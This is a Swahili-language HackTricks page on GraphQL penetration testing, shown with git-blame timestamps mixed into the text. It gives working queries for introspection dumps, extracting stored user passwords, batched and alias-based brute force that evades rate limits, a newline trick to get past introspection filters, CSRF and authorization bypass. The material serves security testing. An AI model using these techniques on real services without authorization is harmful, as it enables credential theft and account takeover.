hacktricks/network-services-pentesting/pentesting-web/graphql.md

514 lines
26 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# GraphQL
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:24:39 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
## Utangulizi
GraphQL inaonekana kama **mbadala ufanisi** wa REST API, ikitoa njia iliyorahisishwa ya kuuliza data kutoka kwa seva ya nyuma. Tofauti na REST, ambayo mara nyingi inahitaji maombi mengi kote kwenye vituo tofauti kuchukua data, GraphQL inawezesha kupata habari zote inayohitajika kupitia **ombi moja**. Hii inasaidia sana **wabunifu** kwa kupunguza ugumu wa mchakato wao wa kupata data.
2024-02-11 02:13:58 +00:00
## GraphQL na Usalama
Na kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, mapungufu mapya ya usalama pia hutokea. Jambo muhimu la kuzingatia ni kwamba **GraphQL haitoi njia za uthibitishaji kwa chaguo-msingi**. Ni jukumu la wabunifu kutekeleza hatua za usalama kama hizo. Bila uthibitishaji sahihi, vituo vya GraphQL vinaweza kufunua habari nyeti kwa watumiaji wasiothibitishwa, ikileta hatari kubwa ya usalama.
### Mashambulizi ya Nguvu ya Direktori na GraphQL
Kutambua mifano ya GraphQL iliyofunuliwa, ni vyema kujumuisha njia maalum katika mashambulizi ya nguvu ya direktori. Njia hizi ni:
* `/graphql`
* `/graphiql`
* `/graphql.php`
* `/graphql/console`
* `/api`
* `/api/graphql`
* `/graphql/api`
* `/graphql/graphql`
2023-01-20 10:47:38 +00:00
Kutambua mifano ya GraphQL iliyofunguliwa inaruhusu uchunguzi wa maswali yanayoungwa mkono. Hii ni muhimu kwa kuelewa data inayopatikana kupitia kituo cha mwisho. Mfumo wa uchunguzi wa GraphQL unawezesha hili kwa kuelezea maswali ambayo mpango wa data unauunga mkono. Kwa habari zaidi kuhusu hili, tazama nyaraka za GraphQL kuhusu uchunguzi: [**GraphQL: Lugha ya kuuliza kwa APIs.**](https://graphql.org/learn/introspection/)
2024-02-11 02:13:58 +00:00
### Alama ya Vidole
2022-06-21 16:32:08 +00:00
Zana [**graphw00f**](https://github.com/dolevf/graphw00f) inaweza kugundua ni injini gani ya GraphQL inayotumiwa kwenye seva na kisha kuchapisha habari muhimu kwa mkaguzi wa usalama.
2022-06-21 16:32:08 +00:00
#### Maswali ya Ulimwenguni <a href="#maswali-ya-ulimwengu" id="maswali-ya-ulimwengu"></a>
Ili kuthibitisha ikiwa URL ni huduma ya GraphQL, **swali la ulimwengu**, `query{__typename}`, linaweza kutumwa. Ikiwa jibu lina jumuisha `{"data": {"__typename": "Query"}}`, inathibitisha kuwa URL ina kituo cha GraphQL. Mbinu hii inategemea uwanja wa `__typename` wa GraphQL, ambao unaonyesha aina ya kitu kilichoulizwa.
2024-02-08 21:36:15 +00:00
```javascript
query{__typename}
```
### Uchambuzi wa Msingi
Graphql kawaida inasaidia **GET**, **POST** (x-www-form-urlencoded) na **POST**(json). Ingawa kwa usalama inapendekezwa kuruhusu tu json ili kuzuia mashambulizi ya CSRF.
2024-02-11 02:13:58 +00:00
#### Uchunguzi wa Ndani
Kutumia uchunguzi wa ndani kugundua habari za muundo, uliza uga wa `__schema`. Uga huu upatikana kwenye aina ya msingi ya maswali yote.
```bash
query={__schema{types{name,fields{name}}}}
```
Na swali hili utapata jina la aina zote zinazotumiwa:
2024-04-06 19:39:38 +00:00
![](<../../.gitbook/assets/image (1033).png>)
{% code overflow="wrap" %}
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
{% endcode %}
Kwa swali hili unaweza kuchimba aina zote, uga wake, na hoja zake (na aina ya hoja). Hii itakuwa muhimu sana kujua jinsi ya kuuliza database.
![](<../../.gitbook/assets/image (947).png>)
2024-02-11 02:13:58 +00:00
**Makosa**
Ni muhimu kujua ikiwa **makosa** yataonyeshwa kwani yatachangia na **taarifa** muhimu.
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
**Kuorodhesha Muundo wa Hifadhidata kupitia Uchunguzi**
{% hint style="info" %}
Ikiwa uchunguzi umewezeshwa lakini swali lililopita halifanyi kazi, jaribu kuondoa maelekezo ya `onOperation`, `onFragment`, na `onField` kutoka kwa muundo wa swali.
{% endhint %}
```bash
2024-02-11 02:13:58 +00:00
#Full introspection query
query IntrospectionQuery {
2024-02-11 02:13:58 +00:00
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
2024-02-11 02:13:58 +00:00
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
2024-02-11 02:13:58 +00:00
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
2024-02-11 02:13:58 +00:00
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
Ombi la uchunguzi wa moja kwa moja:
```
2021-07-28 10:54:41 +00:00
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
Mstari wa mwisho wa nambari ni ombi la graphql ambalo litadumpa taarifa zote za meta kutoka kwa graphql (majina ya vitu, paramita, aina...)
2024-04-06 19:39:38 +00:00
![](<../../.gitbook/assets/image (360).png>)
Ikiwa uchunguzi wa ndani umewezeshwa unaweza kutumia [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kuona katika GUI chaguo zote.
2021-04-14 15:01:04 +00:00
2024-02-11 02:13:58 +00:00
### Kuuliza
Sasa tukijua aina gani ya taarifa imehifadhiwa ndani ya database, jaribu **kutoa baadhi ya thamani**.
Katika uchunguzi wa ndani unaweza kupata **kitu gani unaweza kuuliza moja kwa moja** (kwa sababu huwezi kuuliza kitu tu kwa sababu kipo). Katika picha ifuatayo unaweza kuona kwamba "_queryType_" inaitwa "_Query_" na kwamba moja ya uga wa kitu cha "_Query_" ni "_flags_", ambayo pia ni aina ya kitu. Kwa hivyo unaweza kuuliza kitu cha bendera.
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
Tambua kwamba aina ya ombi "_flags_" ni "_Flags_", na kitu hiki kimefafanuliwa kama ifuatavyo:
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
Unaweza kuona kwamba vitu vya "_Flags_" vinajumuisha **jina** na **thamani**. Kisha unaweza kupata majina yote na thamani za bendera kwa ombi:
```javascript
query={flags{name, value}}
```
Tafadhali kumbuka kwamba katika kesi **object to query** ni **primitive** **type** kama **string** kama katika mfano ufuatao
![](<../../.gitbook/assets/image (955).png>)
Unaweza kuuliza tu na:
```javascript
query={hiddenFlags}
```
2024-02-11 02:13:58 +00:00
Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya kitu cha aina "_Query_": "_user_" na "_users_".\
Ikiwa vitu hivi havihitaji hoja yoyote ya kutafuta, unaweza **kupata taarifa zote kutoka kwao** kwa tu **kuuliza** data unayotaka. Katika mfano huu kutoka kwenye Mtandao unaweza kuchukua majina ya watumiaji na nywila zilizohifadhiwa:
![](<../../.gitbook/assets/image (877).png>)
Hata hivyo, katika mfano huu ukijaribu kufanya hivyo utapata **kosa** hili:
![](<../../.gitbook/assets/image (1039).png>)
Inaonekana kwa namna fulani itatafuta kutumia hoja ya "_**uid**_" aina ya _**Int**_.\
Hata hivyo, tayari tulijua hilo, katika sehemu ya [Uchambuzi wa Msingi](graphql.md#basic-enumeration) ilipendekezwa hoja iliyokuwa ikituonyesha taarifa zote zinazohitajika: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Ukisoma picha iliyotolewa wakati ninaendesha hoja hiyo utaona kwamba "_**user**_" alikuwa na **arg** "_**uid**_" aina ya _Int_.
Kwa hivyo, kwa kufanya _**uid**_ bruteforce kidogo niligundua kwamba katika _**uid**=**1**_ jina la mtumiaji na nywila ilipatikana:\
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (87).png>)
Tafadhali kumbuka kwamba **niligundua** kwamba naweza kuuliza **vipengele** "_**user**_" na "_**password**_" kwa sababu ikiwa jaribu kutafuta kitu ambacho hakipo (`query={user(uid:1){noExists}}`) napata kosa hili:
![](<../../.gitbook/assets/image (704).png>)
Na wakati wa **hatua ya uchambuzi** niligundua kwamba kitu cha "_**dbuser**_" kilikuwa na vitu "_**user**_" na "_**password**_.
**Mbinu ya kudumpisha hoja ya mfululizo wa herufi (shukrani kwa @BinaryShadow\_)**
Ikiwa unaweza kutafuta kwa aina ya mfululizo wa herufi, kama: `query={theusers(description: ""){username,password}}` na **utafute mfululizo wa herufi tupu** itadumpisha data yote. (_Tafadhali kumbuka mfano huu hauhusiani na mfano wa mafunzo, kwa mfano huu fikiria unaweza kutafuta kwa kutumia "**theusers**" kwa uga wa String unaoitwa "**description**"_).
### Kutafuta
2021-03-13 17:03:22 +00:00
Katika hali hii, **database** ina **watuhumiwa** na **filamu**. **Watuhumiwa** wanatambuliwa kwa **barua pepe** na **jina**; **filamu** kwa **jina** na **kiwango** chake. **Watuhumiwa** wanaweza kuwa marafiki na wao pia wana filamu, ikionyesha mahusiano ndani ya database.
2024-04-06 19:39:38 +00:00
Unaweza **kutafuta** watu **kwa** jina na kupata barua zao pepe:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-11 02:13:58 +00:00
searchPerson(name: "John Doe") {
email
}
2021-03-13 17:03:22 +00:00
}
```
Unaweza **kutafuta** watu **kwa** **jina** na kupata **filamu** waliyo **jisajili** nazo:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-11 02:13:58 +00:00
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
2021-03-13 17:03:22 +00:00
}
```
Tafadhali angalia jinsi ilivyoelezwa kuchukua `jina` la `subscribedMovies` ya mtu.
2021-03-13 17:03:22 +00:00
Unaweza pia **kutafuta vitu vingi kwa wakati mmoja**. Katika kesi hii, utafutaji wa sinema 2 unafanywa:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-11 02:13:58 +00:00
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
2021-03-13 17:03:22 +00:00
}r
```
Au hata **mahusiano ya vitu kadhaa tofauti kutumia majina mbadala**:
2021-03-13 17:03:22 +00:00
```javascript
{
2024-02-11 02:13:58 +00:00
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
2021-03-13 17:03:22 +00:00
}
```
2024-02-11 02:13:58 +00:00
### Mabadiliko
2021-03-13 17:03:22 +00:00
**Mabadiliko hutumika kufanya mabadiliko upande wa server.**
2021-03-13 16:07:57 +00:00
Katika **uchunguzi** unaweza kupata **mabadiliko** **yaliyotangazwa**. Katika picha ifuatayo "_MutationType_" inaitwa "_Mutation_" na kitu cha "_Mutation_" kina majina ya mabadiliko (kama vile "_addPerson_" katika kesi hii):
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
Katika hali hii, **database** ina **watendaji** na **filamu**. **Watendaji** wanatambuliwa na **barua pepe** na **jina**; **filamu** kwa **jina** na **kiwango** chake. **Watendaji** wanaweza kuwa marafiki na pia kuwa na filamu, ikionyesha mahusiano ndani ya database.
2021-03-13 16:07:57 +00:00
Mabadiliko ya kuunda filamu mpya ndani ya database yanaweza kuwa kama ifuatavyo (katika mfano huu mabadiliko inaitwa `addMovie`):
2021-03-13 16:07:57 +00:00
```javascript
mutation {
2024-02-11 02:13:58 +00:00
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
2021-03-13 16:07:57 +00:00
}
```
**Tambua jinsi thamani na aina ya data zinavyoonyeshwa katika ombi.**
2024-04-06 19:39:38 +00:00
Kwa kuongezea, database inasaidia operesheni ya **mutation**, inayoitwa `addPerson`, ambayo inaruhusu uundaji wa **watu** pamoja na uhusiano wao na **marafiki** na **filamu** zilizopo. Ni muhimu kutambua kwamba marafiki na filamu lazima kuwepo tayari katika database kabla ya kuwaunganisha na mtu aliyeumbwa kwa mara ya kwanza.
2021-03-13 16:07:57 +00:00
```javascript
mutation {
2024-02-11 02:13:58 +00:00
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
2021-03-13 16:07:57 +00:00
}
```
### Kuelekeza Kuzidisha
2024-04-06 19:39:38 +00:00
Kama ilivyoelezwa katika [**mojawapo ya mapungufu yaliyoelezwa katika ripoti hii**](https://www.landh.tech/blog/20240304-google-hack-50000/), kuelekeza kuzidisha inamaanisha kuita kuelekeza hata mamilioni ya mara ili kufanya server kutumia shughuli mpaka iwezekane kufanya DoS.
### Kupanga nguvu ya nguvu katika ombi 1 la API
2021-03-13 16:07:57 +00:00
Habari hii ilichukuliwa kutoka [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Uthibitisho kupitia GraphQL API na **kutuma maombi mengi kwa wakati mmoja na vitambulisho tofauti** kuchunguza hilo. Ni shambulio la nguvu la kawaida, lakini sasa inawezekana kutuma zaidi ya jozi moja ya kuingia/nenosiri kwa ombi moja la HTTP kwa sababu ya kipengele cha kupanga cha GraphQL. Mbinu hii itadanganya programu za ufuatiliaji wa viwango vya nje kufikiri kuwa kila kitu kiko sawa na hakuna boti inayjaribu kudhanua nywila.
Hapa chini unaweza kupata onyesho rahisi zaidi la ombi la uthibitisho wa programu, na **jozi 3 tofauti za barua pepe/nenosiri kwa wakati mmoja**. Kwa wazi inawezekana kutuma maelfu katika ombi moja kwa njia ile ile:
![](<../../.gitbook/assets/image (1078).png>)
Kama tunavyoona kutoka kwa picha ya majibu, maombi ya kwanza na ya tatu yalirudisha _null_ na kufunua habari inayofanana katika sehemu ya _kosa_. **Mabadiliko ya pili yalikuwa na data sahihi ya uthibitisho** na majibu yalikuwa na ishara sahihi ya kikao cha uthibitisho.
![](<../../.gitbook/assets/image (119) (1).png>)
2024-02-11 02:13:58 +00:00
## GraphQL Bila Uchunguzi
2022-09-05 09:01:26 +00:00
**Miisho zaidi na zaidi ya graphql inazima uchunguzi**. Walakini, makosa ambayo graphql hutoa wakati ombi lisilotarajiwa linapokelewa ni ya kutosha kwa zana kama [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) kujenga tena sehemu kubwa ya muundo.
2022-09-05 09:01:26 +00:00
Zaidi ya hayo, ugani wa Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **unaangalia maombi ya GraphQL API yanayopitia Burp** na **kujenga** muundo wa GraphQL **wa ndani** kila ombi jipya linaloona. Pia inaweza kufunua muundo kwa GraphiQL na Voyager. Ugani hurejesha majibu bandia wakati unapopokea ombi la uchunguzi. Kama matokeo, GraphQuail huonyesha maombi yote, hoja, na uga uliopo kwa matumizi ndani ya API. Kwa habari zaidi [**angalia hii**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
**Orodha nzuri ya maneno** ya kugundua [**entiti za GraphQL inaweza kupatikana hapa**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Kupita Ulinzi wa Uchunguzi wa GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
### **Kupita Ulinzi wa Uchunguzi wa GraphQL**
Ili kupita vizuizi kwenye ombi za uchunguzi katika APIs, kuingiza **tabia maalum baada ya neno la `__schema`** huthibitisha ufanisi. Mbinu hii inatumia makosa ya kawaida ya watengenezaji katika mifumo ya regex ambayo lengo lake ni kuzuia uchunguzi kwa kuzingatia neno la `__schema`. Kwa kuongeza herufi kama **nafasi, mistari mipya, na virgaa**, ambavyo GraphQL inapuuza lakini huenda havijazingatiwa katika regex, vizuizi vinaweza kuzungukwa. Kwa mfano, ombi la uchunguzi lenye mstari mpya baada ya `__schema` linaweza kupita ulinzi kama huo:
```bash
2024-02-08 21:36:15 +00:00
# Example with newline to bypass
2024-02-11 02:13:58 +00:00
{
"query": "query{__schema
{queryType{name}}}"
}
```
Ikiwa haujafanikiwa, tafakari njia mbadala za ombi kama vile **ombi la GET** au **POST na `x-www-form-urlencoded`**, kwani vizuizi vinaweza kuomba tu kwa ombi la POST.
### **Kugundua Miundo ya GraphQL Iliyofunuliwa**
Wakati uchunguzi umefungwa, kutazama msimbo wa chanzo wa wavuti kwa ajili ya maswali yaliyopakiwa katika maktaba za JavaScript ni mkakati wenye manufaa. Maswali haya yanaweza kupatikana kwa kutumia kichupo cha `Vyanzo` katika zana za maendeleo, kutoa ufahamu wa muundo wa API na kufunua maswali yanayoweza kuwa **nyeti yaliyofunuliwa**. Amri za kutafuta ndani ya zana za maendeleo ni:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
2024-02-11 02:13:58 +00:00
## CSRF katika GraphQL
Ikiwa haujui ni nini CSRF soma ukurasa ufuatao:
2021-06-09 11:30:46 +00:00
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
2021-06-09 11:30:46 +00:00
Kule nje utaweza kupata sehemu kadhaa za GraphQL **zilizoconfigure bila tokeni za CSRF.**
2024-04-06 19:39:38 +00:00
Tambua kuwa ombi za GraphQL kawaida hutumwa kupitia maombi ya POST kwa kutumia Content-Type **`application/json`**.
2021-06-09 11:30:46 +00:00
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
Hata hivyo, sehemu kubwa ya vituo vya GraphQL pia inasaidia **maombi ya POST ya `form-urlencoded`:**
2021-06-09 11:30:46 +00:00
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Kwa hivyo, kwa kuwa maombi ya CSRF kama yale ya awali yanatumwa **bila maombi ya awali**, ni rahisi **kufanya** **mabadiliko** katika GraphQL kwa kutumia CSRF.
2024-04-06 19:39:38 +00:00
Walakini, kumbuka kuwa thamani mpya ya kuki ya chaguo la `samesite` ya Chrome ni `Lax`. Hii inamaanisha kuwa kuki itatumwa tu kutoka kwa wavuti ya mtu wa tatu katika maombi ya GET.
2021-08-03 11:52:36 +00:00
Tambua kuwa mara nyingi inawezekana kutuma **ombi** la **kuuliza** pia kama **ombi la GET na kitambulisho cha CSRF huenda kisithibitishwe katika ombi la GET.**
2021-08-03 11:52:36 +00:00
Pia, kwa kutumia [**XS-Search**](../../pentesting-web/xs-search/) **shambulio** inaweza kuwa rahisi kuchota maudhui kutoka kwa hatima ya GraphQL kwa kutumia sifa za mtumiaji.
2021-06-09 11:30:46 +00:00
Kwa habari zaidi **angalia** [**chapisho la asili hapa**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
2021-06-09 11:30:46 +00:00
## Uthibitisho katika GraphQL
2022-07-21 20:01:55 +00:00
Funguo nyingi za GraphQL zilizoelezwa kwenye hatima zinaweza kuangalia tu uwakilishi wa mwenyeombi lakini sio idhini.
Kubadilisha pembejeo za maswali kunaweza kusababisha maelezo muhimu ya akaunti kuvuja [leaked](https://hackerone.com/reports/792927).
Mabadiliko yanaweza hata kusababisha kuchukuliwa kwa akaunti kujaribu kubadilisha data ya akaunti nyingine.
```javascript
{
2024-02-11 02:13:58 +00:00
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### Kupuuza idhini katika GraphQL
2022-07-31 22:37:48 +00:00
[Kuunganisha maswali](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) pamoja kunaweza kupuuza mfumo dhaifu wa uthibitishaji.
Katika mfano hapa chini unaweza kuona kuwa operesheni ni "forgotPassword" na inapaswa kutekeleza tu swali la forgotPassword linalohusiana nayo. Hii inaweza kupuuzwa kwa kuongeza swali mwishoni, katika kesi hii tunaweza kuongeza "register" na kifungu cha mtumiaji ili mfumo ujiandikishe kama mtumiaji mpya.
2022-09-05 09:01:26 +00:00
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Kupuuza Vipimo vya Kasi Kwa Kutumia Majina Mbadala katika GraphQL
Katika GraphQL, majina mbadala ni kipengele chenye nguvu kinachoruhusu **kuweka majina ya mali waziwazi** wakati wa kutuma ombi la API. Uwezo huu ni muhimu hasa kwa kupata **mifano mingi ya aina ile ile** ya kitu ndani ya ombi moja. Majina mbadala yanaweza kutumika kushinda kizuizi kinachozuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.
Kwa uelewa wa kina wa majina mbadala ya GraphQL, rasilimali ifuatayo inapendekezwa: [Majina Mbadala](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Ingawa lengo kuu la majina mbadala ni kupunguza haja ya wito nyingi za API, matumizi yasiyotarajiwa yamegunduliwa ambapo majina mbadala yanaweza kutumika kutekeleza mashambulizi ya nguvu kwenye mwisho wa GraphQL. Hii inawezekana kwa sababu baadhi ya mwisho wa API zinalindwa na wapimaji wa kasi iliyoundwa kuzuia mashambulizi ya nguvu kwa kuzuia **idadi ya maombi ya HTTP**. Hata hivyo, wapimaji hawa wa kasi hawawezi kuzingatia idadi ya operesheni ndani ya kila ombi. Kwa kuwa majina mbadala huruhusu kuongeza maswali mengi katika ombi moja la HTTP, yanaweza kuzunguka hatua hizo za kikomo cha kasi.
2024-04-06 19:39:38 +00:00
Fikiria mfano uliotolewa hapa chini, ambao unaelezea jinsi maswali yaliyo na majina mbadala yanaweza kutumika kuthibitisha uhalali wa nambari za punguzo la duka. Mbinu hii inaweza kupuuza kikomo cha kasi kwani inakusanya maswali kadhaa katika ombi moja la HTTP, ikiruhusu uhalalishaji wa nambari nyingi za punguzo kwa wakati mmoja.
```bash
2024-02-08 21:36:15 +00:00
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
2024-02-11 02:13:58 +00:00
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
```
2024-02-11 02:13:58 +00:00
## Vifaa
2024-02-11 02:13:58 +00:00
### Skana za Udhaifu
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zana inayoweza kutumika kukamata mizungu na kutafuta data nyeti, kujaribu idhini, kuvunja mizungu, na kupata njia kwa aina iliyopewa.
2024-02-11 02:13:58 +00:00
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Inaweza kutumika kama standalone au [Burp extension](https://github.com/doyensec/inql).
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Inaweza kutumika kama mteja wa CLI pia kwa kiotomatiki mashambulizi
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Zana inayoorodhesha njia tofauti za kufikia aina iliyopewa katika mizungu.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension kwa ajili ya majaribio ya juu ya GraphQL. _**Scanner**_ ni msingi wa InQL v5.0, ambapo unaweza kuchambua mwisho wa GraphQL au faili ya mizungu ya ndani ya introspection. Inazalisha moja kwa moja maswali yote na mabadiliko yanayowezekana, ikiorodhesha kwa muundo kwa ajili ya uchambuzi wako. Sehemu ya _**Mshambuliaji**_ inakuwezesha kufanya mashambulizi ya mizungu ya kundi, ambayo inaweza kuwa na manufaa kwa kuzunguka mipaka ya kiwango iliyotekelezwa vibaya.
2024-02-11 02:13:58 +00:00
### Wateja
2024-02-11 02:13:58 +00:00
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Mteja wa GUI
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Mteja wa GUI
2021-04-14 15:16:47 +00:00
### Majaribio ya Kiotomatiki
2021-05-10 08:52:30 +00:00
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
2021-04-14 15:16:47 +00:00
2024-02-11 02:13:58 +00:00
* Video inayoelezea AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
2021-04-14 15:16:47 +00:00
2024-02-11 02:13:58 +00:00
## Marejeo
2022-04-05 22:24:52 +00:00
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
2023-06-10 14:46:50 +00:00
